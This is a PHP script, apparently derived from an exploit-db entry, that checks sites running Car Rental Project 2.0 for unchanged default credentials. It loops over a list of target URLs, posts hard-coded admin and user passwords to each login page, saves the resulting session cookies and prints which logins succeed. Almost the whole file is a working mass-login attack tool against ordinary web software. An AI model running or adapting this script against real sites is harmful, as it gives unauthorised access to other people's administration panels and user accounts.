Car Rental Project 2.0 - Default credential checker

carrental.php

<?php
# https://www.exploit-db.com/exploits/49520

// default credentials
$admin_username = "admin";
$admin_password = "Test@12345";

$user_email = "[email protected]";
$user_password = "Test@123";

function println($text = "")
{
    print($text . "\n");
}

function loginAdmin($url, $username, $password): bool
{
    $ch = curl_init($url);

    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, [
        'username' => $username,
        'password' => $password,
        'login' => '',
    ]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIE, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) . '/admin_cookie.txt');

    $response = curl_exec($ch);

    $found = strpos($response, 'dashboard.php') !== false;

    return $found;
}

function loginUser($url, $email, $password): bool
{
    $ch = curl_init($url);

    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, [
        'email' => $email,
        'password' => $password,
        'remember' => 1,
        'login' => 'Login',
    ]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIE, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) . '/user_cookie.txt');

    curl_exec($ch); // for some reason kena send request dua kali
    $response = curl_exec($ch);

    $found = strpos($response, 'logout.php') !== false;

    return $found;
}

function normalizeUrl($url): string
{
    if (!(strpos($url, "/", -1) !== false)) {
        $url .= '/';
    }

    return $url;
}

function adminUrl($url): string
{
    $url = normalizeUrl($url);
    $flag = "admin/index.php";

    if (!(strpos($url, $flag, strlen($flag) * -1) !== false)) {
        $url .= $flag;
    }

    return $url;
}

function userUrl($url): string
{
    $url = normalizeUrl($url);
    $flag = "index.php";

    if (!(strpos($url, $flag, strlen($flag) * -1) !== false)) {
        $url .= $flag;
    }

    return $url;
}

// put urls here
$urls = [];

foreach ($urls as $url)
{
    $adminUrl = adminUrl($url);
    $userUrl = userUrl($url);

    $adminSuccess = loginAdmin($adminUrl, $admin_username, $admin_password);
    $userSuccess = loginUser($userUrl, $user_email, $user_password);

    $adminIndicator = $adminSuccess ? "[+]" : "[-]";
    $userIndicator = $userSuccess ? "[+]" : "[-]";

    printf("%s => %s (%s:%s)\n", $adminIndicator, $adminUrl, $admin_username, $admin_password);
    printf("%s => %s (%s:%s)\n", $userIndicator, $userUrl, $user_email, $user_password);
    println();
}

print("\n");